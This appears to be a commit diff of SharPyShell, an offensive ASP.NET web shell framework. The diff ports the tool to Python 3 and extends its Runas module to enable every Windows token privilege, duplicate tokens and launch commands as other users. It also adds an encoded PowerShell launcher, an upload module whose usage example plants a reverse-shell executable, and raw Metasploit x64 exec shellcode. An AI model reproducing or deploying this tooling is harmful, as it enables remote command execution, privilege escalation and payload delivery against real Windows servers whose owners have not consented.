[DllImport("advapi32.dll", EntryPoint="DuplicateTokenEx")]
|
||||||
public static extern bool DuplicateTokenEx(IntPtr ExistingTokenHandle, uint dwDesiredAccess, ref SECURITY_ATTRIBUTES lpThreadAttributes, int TokenType, int ImpersonationLevel, ref IntPtr DuplicateTokenHandle);
|
private static extern bool DuplicateTokenEx(IntPtr ExistingTokenHandle, uint dwDesiredAccess, ref SECURITY_ATTRIBUTES lpThreadAttributes, int TokenType, int ImpersonationLevel, ref IntPtr DuplicateTokenHandle);
|
||||||
|
|
||||||
[DllImport("kernel32.dll", SetLastError=true)]
|
[DllImport("kernel32.dll", SetLastError=true)]
|
||||||
public static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);
|
private static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);
|
||||||
|
|
||||||
const uint WAIT_ABANDONED = 0x00000080;
|
[DllImport("advapi32.dll", SetLastError = true)]
|
||||||
const uint WAIT_OBJECT_0 = 0x00000000;
|
private static extern bool AdjustTokenPrivileges(IntPtr tokenhandle, bool disableprivs, [MarshalAs(UnmanagedType.Struct)]ref TOKEN_PRIVILEGES Newstate, int bufferlength, int PreivousState, int Returnlength);
|
||||||
const uint WAIT_TIMEOUT = 0x00000102;
|
|
||||||
|
[DllImport("advapi32.dll", SetLastError = true)]
|
||||||
|
private static extern int LookupPrivilegeValue(string lpsystemname, string lpname, [MarshalAs(UnmanagedType.Struct)] ref LUID lpLuid);
|
||||||
|
|
||||||
|
private sealed class SafeTokenHandle : SafeHandleZeroOrMinusOneIsInvalid
|
||||||
|
{
|
||||||
|
private SafeTokenHandle()
|
||||||
|
: base(true)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
[DllImport("kernel32.dll")]
|
||||||
|
[ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)]
|
||||||
|
[SuppressUnmanagedCodeSecurity]
|
||||||
|
[return: MarshalAs(UnmanagedType.Bool)]
|
||||||
|
private static extern bool CloseHandle(IntPtr handle);
|
||||||
|
|
||||||
|
protected override bool ReleaseHandle()
|
||||||
|
{
|
||||||
|
return CloseHandle(handle);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private string EnablePrivilege(string privilege, IntPtr token){
|
||||||
|
string output = "";
|
||||||
|
LUID serLuid = new LUID();
|
||||||
|
LUID sebLuid = new LUID();
|
||||||
|
TOKEN_PRIVILEGES tokenp = new TOKEN_PRIVILEGES();
|
||||||
|
tokenp.PrivilegeCount = 1;
|
||||||
|
LookupPrivilegeValue(null, privilege, ref sebLuid);
|
||||||
|
tokenp.Luid = sebLuid;
|
||||||
|
tokenp.Attributes = SE_PRIVILEGE_ENABLED;
|
||||||
|
if(!AdjustTokenPrivileges(token, false, ref tokenp, 0, 0, 0)){
|
||||||
|
output += error_string + "\nAdjustTokenPrivileges on privilege " + privilege + " failed with error code: " + Marshal.GetLastWin32Error();
|
||||||
|
}
|
||||||
|
output += "\nAdjustTokenPrivileges on privilege " + privilege + " succeeded";
|
||||||
|
return output;
|
||||||
|
}
|
||||||
|
|
||||||
|
private string EnableAllPrivileges(IntPtr token)
|
||||||
|
{
|
||||||
|
string output="";
|
||||||
|
output += EnablePrivilege("SeAssignPrimaryTokenPrivilege", token);
|
||||||
|
output += EnablePrivilege("SeAuditPrivilege", token);
|
||||||
|
output += EnablePrivilege("SeBackupPrivilege", token);
|
||||||
|
output += EnablePrivilege("SeChangeNotifyPrivilege", token);
|
||||||
|
output += EnablePrivilege("SeCreateGlobalPrivilege", token);
|
||||||
|
output += EnablePrivilege("SeCreatePagefilePrivilege", token);
|
||||||
|
output += EnablePrivilege("SeCreatePermanentPrivilege", token);
|
||||||
|
output += EnablePrivilege("SeCreateSymbolicLinkPrivilege", token);
|
||||||
|
output += EnablePrivilege("SeCreateTokenPrivilege", token);
|
||||||
|
output += EnablePrivilege("SeDebugPrivilege", token);
|
||||||
|
output += EnablePrivilege("SeDelegateSessionUserImpersonatePrivilege", token);
|
||||||
|
output += EnablePrivilege("SeEnableDelegationPrivilege", token);
|
||||||
|
output += EnablePrivilege("SeImpersonatePrivilege", token);
|
||||||
|
output += EnablePrivilege("SeIncreaseBasePriorityPrivilege", token);
|
||||||
|
output += EnablePrivilege("SeIncreaseQuotaPrivilege", token);
|
||||||
|
output += EnablePrivilege("SeIncreaseWorkingSetPrivilege", token);
|
||||||
|
output += EnablePrivilege("SeLoadDriverPrivilege", token);
|
||||||
|
output += EnablePrivilege("SeLockMemoryPrivilege", token);
|
||||||
|
output += EnablePrivilege("SeMachineAccountPrivilege", token);
|
||||||
|
output += EnablePrivilege("SeManageVolumePrivilege", token);
|
||||||
|
output += EnablePrivilege("SeProfileSingleProcessPrivilege", token);
|
||||||
|
output += EnablePrivilege("SeRelabelPrivilege", token);
|
||||||
|
output += EnablePrivilege("SeRemoteShutdownPrivilege", token);
|
||||||
|
output += EnablePrivilege("SeRestorePrivilege", token);
|
||||||
|
output += EnablePrivilege("SeSecurityPrivilege", token);
|
||||||
|
output += EnablePrivilege("SeShutdownPrivilege", token);
|
||||||
|
output += EnablePrivilege("SeSyncAgentPrivilege", token);
|
||||||
|
output += EnablePrivilege("SeSystemEnvironmentPrivilege", token);
|
||||||
|
output += EnablePrivilege("SeSystemProfilePrivilege", token);
|
||||||
|
output += EnablePrivilege("SeSystemtimePrivilege", token);
|
||||||
|
output += EnablePrivilege("SeTakeOwnershipPrivilege", token);
|
||||||
|
output += EnablePrivilege("SeTcbPrivilege", token);
|
||||||
|
output += EnablePrivilege("SeTimeZonePrivilege", token);
|
||||||
|
output += EnablePrivilege("SeTrustedCredManAccessPrivilege", token);
|
||||||
|
output += EnablePrivilege("SeUndockPrivilege", token);
|
||||||
|
output += EnablePrivilege("SeUnsolicitedInputPrivilege", token);
|
||||||
|
return output;
|
||||||
|
}
|
||||||
|
|
||||||
[PermissionSetAttribute(SecurityAction.Demand, Name = "FullTrust")]
|
[PermissionSetAttribute(SecurityAction.Demand, Name = "FullTrust")]
|
||||||
public string RunAs(string userName, string password, string domainName, string cmd, string stdout_file, string stderr_file, string working_directory, int logon_type, uint process_ms_timeout)
|
private string RunAs(string userName, string password, string domainName, string cmd, string stdout_file, string stderr_file, string working_directory, int logon_type, uint process_ms_timeout)
|
||||||
{
|
{
|
||||||
SafeTokenHandle safeTokenHandle;
|
SafeTokenHandle safeTokenHandle;
|
||||||
string output = "";
|
string output = "";
|
||||||
string error_string = "{{{SharPyShellError}}}";
|
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
const int LOGON32_PROVIDER_DEFAULT = 0;
|
|
||||||
const int LOGON32_PROVIDER_WINNT35 = 1;
|
|
||||||
const int LOGON32_PROVIDER_WINNT40 = 2;
|
|
||||||
const int LOGON32_PROVIDER_WINNT50 = 3;
|
|
||||||
bool returnValue = LogonUser(userName, domainName, password, logon_type, LOGON32_PROVIDER_DEFAULT, out safeTokenHandle);
|
bool returnValue = LogonUser(userName, domainName, password, logon_type, LOGON32_PROVIDER_DEFAULT, out safeTokenHandle);
|
||||||
if (false == returnValue)
|
if (false == returnValue)
|
||||||
{
|
{
|
||||||
@@ -150,29 +241,9 @@ class Runas(Module):
|
|||||||
}
|
}
|
||||||
using (safeTokenHandle)
|
using (safeTokenHandle)
|
||||||
{
|
{
|
||||||
using (WindowsIdentity newId = new WindowsIdentity(safeTokenHandle.DangerousGetHandle()))
|
IntPtr runasToken = safeTokenHandle.DangerousGetHandle();
|
||||||
{
|
EnableAllPrivileges(runasToken);
|
||||||
using (WindowsImpersonationContext impersonatedUser = newId.Impersonate())
|
|
||||||
{
|
|
||||||
IntPtr Token = new IntPtr(0);
|
|
||||||
IntPtr DupedToken = new IntPtr(0);
|
|
||||||
bool ret;
|
|
||||||
SECURITY_ATTRIBUTES sa = new SECURITY_ATTRIBUTES();
|
|
||||||
sa.bInheritHandle = false;
|
|
||||||
sa.Length = Marshal.SizeOf(sa);
|
|
||||||
sa.lpSecurityDescriptor = (IntPtr)0;
|
|
||||||
Token = WindowsIdentity.GetCurrent().Token;
|
|
||||||
const uint GENERIC_ALL = 0x10000000;
|
|
||||||
const int SecurityImpersonation = 2;
|
|
||||||
const int TokenType = 1;
|
|
||||||
ret = DuplicateTokenEx(Token, GENERIC_ALL, ref sa, SecurityImpersonation, TokenType, ref DupedToken);
|
|
||||||
if (ret == false){
|
|
||||||
output += error_string + "\nDuplicateTokenEx failed with " + Marshal.GetLastWin32Error();
|
|
||||||
return output;
|
|
||||||
}
|
|
||||||
STARTUPINFO si = new STARTUPINFO();
|
|
||||||
si.cb = Marshal.SizeOf(si);
|
|
||||||
si.lpDesktop = "";
|
|
||||||
string commandLinePath = "";
|
string commandLinePath = "";
|
||||||
if(process_ms_timeout>0){
|
if(process_ms_timeout>0){
|
||||||
File.Create(stdout_file).Dispose();
|
File.Create(stdout_file).Dispose();
|
||||||
@@ -182,7 +253,27 @@ class Runas(Module):
|
|||||||
else{
|
else{
|
||||||
commandLinePath = Environment.GetEnvironmentVariable("ComSpec") + " /c \"" + cmd + "\"";
|
commandLinePath = Environment.GetEnvironmentVariable("ComSpec") + " /c \"" + cmd + "\"";
|
||||||
}
|
}
|
||||||
|
using (WindowsImpersonationContext impersonatedUser = WindowsIdentity.Impersonate(runasToken))
|
||||||
|
{
|
||||||
|
IntPtr Token = new IntPtr(0);
|
||||||
|
IntPtr DupedToken = new IntPtr(0);
|
||||||
|
bool ret;
|
||||||
|
SECURITY_ATTRIBUTES sa = new SECURITY_ATTRIBUTES();
|
||||||
|
sa.bInheritHandle = false;
|
||||||
|
sa.Length = Marshal.SizeOf(sa);
|
||||||
|
sa.lpSecurityDescriptor = (IntPtr)0;
|
||||||
|
Token = WindowsIdentity.GetCurrent().Token;
|
||||||
|
|
||||||
|
ret = DuplicateTokenEx(Token, GENERIC_ALL, ref sa, SecurityImpersonation, TokenType, ref DupedToken);
|
||||||
|
if (ret == false){
|
||||||
|
output += error_string + "\nDuplicateTokenEx failed with " + Marshal.GetLastWin32Error();
|
||||||
|
return output;
|
||||||
|
}
|
||||||
|
STARTUPINFO si = new STARTUPINFO();
|
||||||
|
si.cb = Marshal.SizeOf(si);
|
||||||
|
si.lpDesktop = "";
|
||||||
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
|
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
|
||||||
|
|
||||||
ret = CreateProcessAsUser(DupedToken,null,commandLinePath, ref sa, ref sa, false, 0, (IntPtr)0, working_directory, ref si, out pi);
|
ret = CreateProcessAsUser(DupedToken,null,commandLinePath, ref sa, ref sa, false, 0, (IntPtr)0, working_directory, ref si, out pi);
|
||||||
if (ret == false){
|
if (ret == false){
|
||||||
output += error_string + "\nCreateProcessAsUser failed with " + Marshal.GetLastWin32Error();
|
output += error_string + "\nCreateProcessAsUser failed with " + Marshal.GetLastWin32Error();
|
||||||
@@ -213,7 +304,6 @@ class Runas(Module):
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
|
||||||
catch (Exception ex)
|
catch (Exception ex)
|
||||||
{
|
{
|
||||||
output += error_string + "\nException occurred. " + ex.Message;
|
output += error_string + "\nException occurred. " + ex.Message;
|
||||||
@@ -245,6 +335,8 @@ class Runas(Module):
|
|||||||
domain = args_parser.get(3, self.__default_domain)
|
domain = args_parser.get(3, self.__default_domain)
|
||||||
process_ms_timeout = args_parser.get(4, self.__default_process_ms_timeout)
|
process_ms_timeout = args_parser.get(4, self.__default_process_ms_timeout)
|
||||||
logon_type = args_parser.get(5, self.__default_logon_type)
|
logon_type = args_parser.get(5, self.__default_logon_type)
|
||||||
|
if process_ms_timeout == '' or logon_type == '':
|
||||||
|
raise self._exception_class('#runas: process_ms_timeout and logon_type field cannot be empty.\n')
|
||||||
return cmd, username, password, domain,process_ms_timeout, logon_type
|
return cmd, username, password, domain,process_ms_timeout, logon_type
|
||||||
|
|
||||||
def _create_request(self, args):
|
def _create_request(self, args):
|
||||||
|
|||||||
+1
-1
@@ -53,7 +53,7 @@ class Runas_ps(Runas):
|
|||||||
def __gen_powershell_launcher(self, ps_code):
|
def __gen_powershell_launcher(self, ps_code):
|
||||||
powershell_launcher='powershell -nop -noni -enc '
|
powershell_launcher='powershell -nop -noni -enc '
|
||||||
ps_code = '$ProgressPreference = "SilentlyContinue";' + ps_code
|
ps_code = '$ProgressPreference = "SilentlyContinue";' + ps_code
|
||||||
powershell_launcher += b64encode(ps_code.encode('UTF-16LE'))
|
powershell_launcher += str(b64encode(ps_code.encode('UTF-16LE')),'UTF-8')
|
||||||
return powershell_launcher
|
return powershell_launcher
|
||||||
|
|
||||||
def _create_request(self, args):
|
def _create_request(self, args):
|
||||||
|
|||||||
+5
-5
@@ -35,7 +35,7 @@ class Upload(Module):
|
|||||||
#upload /tmp/revshell.exe C:\Users\Public\revshell.exe 1024
|
#upload /tmp/revshell.exe C:\Users\Public\revshell.exe 1024
|
||||||
"""
|
"""
|
||||||
|
|
||||||
_runtime_code = ur"""
|
_runtime_code = r"""
|
||||||
using System;using System.IO;using System.Diagnostics;using System.Text;
|
using System;using System.IO;using System.Diagnostics;using System.Text;
|
||||||
public class SharPyShell{
|
public class SharPyShell{
|
||||||
byte[] Upload(string path, byte[] file_bytes){
|
byte[] Upload(string path, byte[] file_bytes){
|
||||||
@@ -56,7 +56,7 @@ class Upload(Module):
|
|||||||
}
|
}
|
||||||
"""
|
"""
|
||||||
|
|
||||||
__runtime_code_split_file = ur"""
|
__runtime_code_split_file = r"""
|
||||||
using System;using System.IO;using System.Diagnostics;using System.Text;
|
using System;using System.IO;using System.Diagnostics;using System.Text;
|
||||||
public class SharPyShell{
|
public class SharPyShell{
|
||||||
byte[] Upload(string path, byte[] file_bytes){
|
byte[] Upload(string path, byte[] file_bytes){
|
||||||
@@ -80,7 +80,7 @@ class Upload(Module):
|
|||||||
}
|
}
|
||||||
"""
|
"""
|
||||||
|
|
||||||
__runtime_code_init_file = ur"""
|
__runtime_code_init_file = r"""
|
||||||
using System;using System.IO;using System.Diagnostics;using System.Text;
|
using System;using System.IO;using System.Diagnostics;using System.Text;
|
||||||
public class SharPyShell{
|
public class SharPyShell{
|
||||||
string InitFile(string path){
|
string InitFile(string path){
|
||||||
@@ -164,8 +164,8 @@ class Upload(Module):
|
|||||||
decrypted_response = self._decrypt_response(encrypted_response)
|
decrypted_response = self._decrypt_response(encrypted_response)
|
||||||
parsed_response = self._parse_response(decrypted_response)
|
parsed_response = self._parse_response(decrypted_response)
|
||||||
if len(requests) > 1:
|
if len(requests) > 1:
|
||||||
print 'Chunk ' + str(i + 1) + ' --> ' + str(chunk_size*i) + ' - ' + str(chunk_size*i+chunk_size) +\
|
print ('Chunk ' + str(i + 1) + ' --> ' + str(chunk_size*i) + ' - ' + str(chunk_size*i+chunk_size) +\
|
||||||
' bytes written correctly to ' + upload_output_path
|
' bytes written correctly to ' + upload_output_path)
|
||||||
except ModuleException as module_exc:
|
except ModuleException as module_exc:
|
||||||
parsed_response = str(module_exc)
|
parsed_response = str(module_exc)
|
||||||
except Exception:
|
except Exception:
|
||||||
|
|||||||
+4
-3
@@ -1,5 +1,6 @@
|
|||||||
urllib3
|
urllib3
|
||||||
urllib3[socks]
|
PySocks
|
||||||
prettytable
|
pycryptodome
|
||||||
Crypto
|
|
||||||
pyopenssl
|
pyopenssl
|
||||||
|
pefile
|
||||||
|
prettytable
|
||||||
+1
-1
@@ -3,5 +3,5 @@ class Singleton(object):
|
|||||||
|
|
||||||
def __new__(cls, *args, **kwargs):
|
def __new__(cls, *args, **kwargs):
|
||||||
if cls not in cls._instances:
|
if cls not in cls._instances:
|
||||||
cls._instances[cls] = super(Singleton, cls).__new__(cls, *args, **kwargs)
|
cls._instances[cls] = super(Singleton, cls).__new__(cls)
|
||||||
return cls._instances[cls]
|
return cls._instances[cls]
|
||||||
@@ -0,0 +1,14 @@
|
|||||||
|
import io
|
||||||
|
import gzip
|
||||||
|
import base64
|
||||||
|
|
||||||
|
|
||||||
|
def get_compressed_base64_from_file(path):
|
||||||
|
|
||||||
|
with open(path, 'rb') as f:
|
||||||
|
read_data = f.read()
|
||||||
|
return base64.b64encode(gzip.compress(read_data)).decode()
|
||||||
|
|
||||||
|
|
||||||
|
def get_compressed_base64_from_binary(bin_bytearray_input):
|
||||||
|
return base64.b64encode(gzip.compress(bin_bytearray_input)).decode()
|
||||||
+4
-4
@@ -16,19 +16,19 @@ def tablify(data, table_border=True):
|
|||||||
table = prettytable.PrettyTable()
|
table = prettytable.PrettyTable()
|
||||||
|
|
||||||
# List outputs.
|
# List outputs.
|
||||||
if isinstance(data, (types.ListType, types.TupleType)):
|
if isinstance(data, (list, tuple)):
|
||||||
|
|
||||||
if len(data) > 0:
|
if len(data) > 0:
|
||||||
|
|
||||||
columns_num = 1
|
columns_num = 1
|
||||||
if isinstance(data[0], (types.ListType, types.TupleType)):
|
if isinstance(data[0], (list, tuple)):
|
||||||
columns_num = len(data[0])
|
columns_num = len(data[0])
|
||||||
|
|
||||||
for row in data:
|
for row in data:
|
||||||
if not row:
|
if not row:
|
||||||
continue
|
continue
|
||||||
|
|
||||||
if isinstance(row, (types.ListType, types.TupleType)):
|
if isinstance(row, (list, tuple)):
|
||||||
table.add_row(row)
|
table.add_row(row)
|
||||||
else:
|
else:
|
||||||
table.add_row([row])
|
table.add_row([row])
|
||||||
@@ -38,7 +38,7 @@ def tablify(data, table_border=True):
|
|||||||
|
|
||||||
# Populate the rows
|
# Populate the rows
|
||||||
randomitem = next(data.itervalues())
|
randomitem = next(data.itervalues())
|
||||||
if isinstance(randomitem, (types.ListType, types.TupleType)):
|
if isinstance(randomitem, (list, tuple)):
|
||||||
for field in data:
|
for field in data:
|
||||||
table.add_row([field] + data[field])
|
table.add_row([field] + data[field])
|
||||||
else:
|
else:
|
||||||
|
|||||||
@@ -0,0 +1,33 @@
|
|||||||
|
'''
|
||||||
|
https://github.com/rapid7/metasploit-framework/blob/master/modules/payloads/singles/windows/x64/exec.rb
|
||||||
|
|
||||||
|
'Name' => 'Windows x64 Execute Command',
|
||||||
|
'Description' => 'Execute an arbitrary command (Windows x64)',
|
||||||
|
'Author' => [ 'sf' ],
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Platform' => 'win',
|
||||||
|
'Arch' => ARCH_X64,
|
||||||
|
'Payload' =>
|
||||||
|
'''
|
||||||
|
winexec_x64 = b""
|
||||||
|
winexec_x64 += b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41"
|
||||||
|
winexec_x64 += b"\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48"
|
||||||
|
winexec_x64 += b"\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f"
|
||||||
|
winexec_x64 += b"\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c"
|
||||||
|
winexec_x64 += b"\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52"
|
||||||
|
winexec_x64 += b"\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b"
|
||||||
|
winexec_x64 += b"\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0"
|
||||||
|
winexec_x64 += b"\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56"
|
||||||
|
winexec_x64 += b"\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9"
|
||||||
|
winexec_x64 += b"\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0"
|
||||||
|
winexec_x64 += b"\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58"
|
||||||
|
winexec_x64 += b"\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44"
|
||||||
|
winexec_x64 += b"\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0"
|
||||||
|
winexec_x64 += b"\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
|
||||||
|
winexec_x64 += b"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
|
||||||
|
winexec_x64 += b"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00"
|
||||||
|
winexec_x64 += b"\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41"
|
||||||
|
winexec_x64 += b"\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41"
|
||||||
|
winexec_x64 += b"\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06"
|
||||||
|
winexec_x64 += b"\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"
|
||||||
|
winexec_x64 += b"\x00\x59\x41\x89\xda\xff\xd5"
|
||||||
Reference in New Issue
Block a user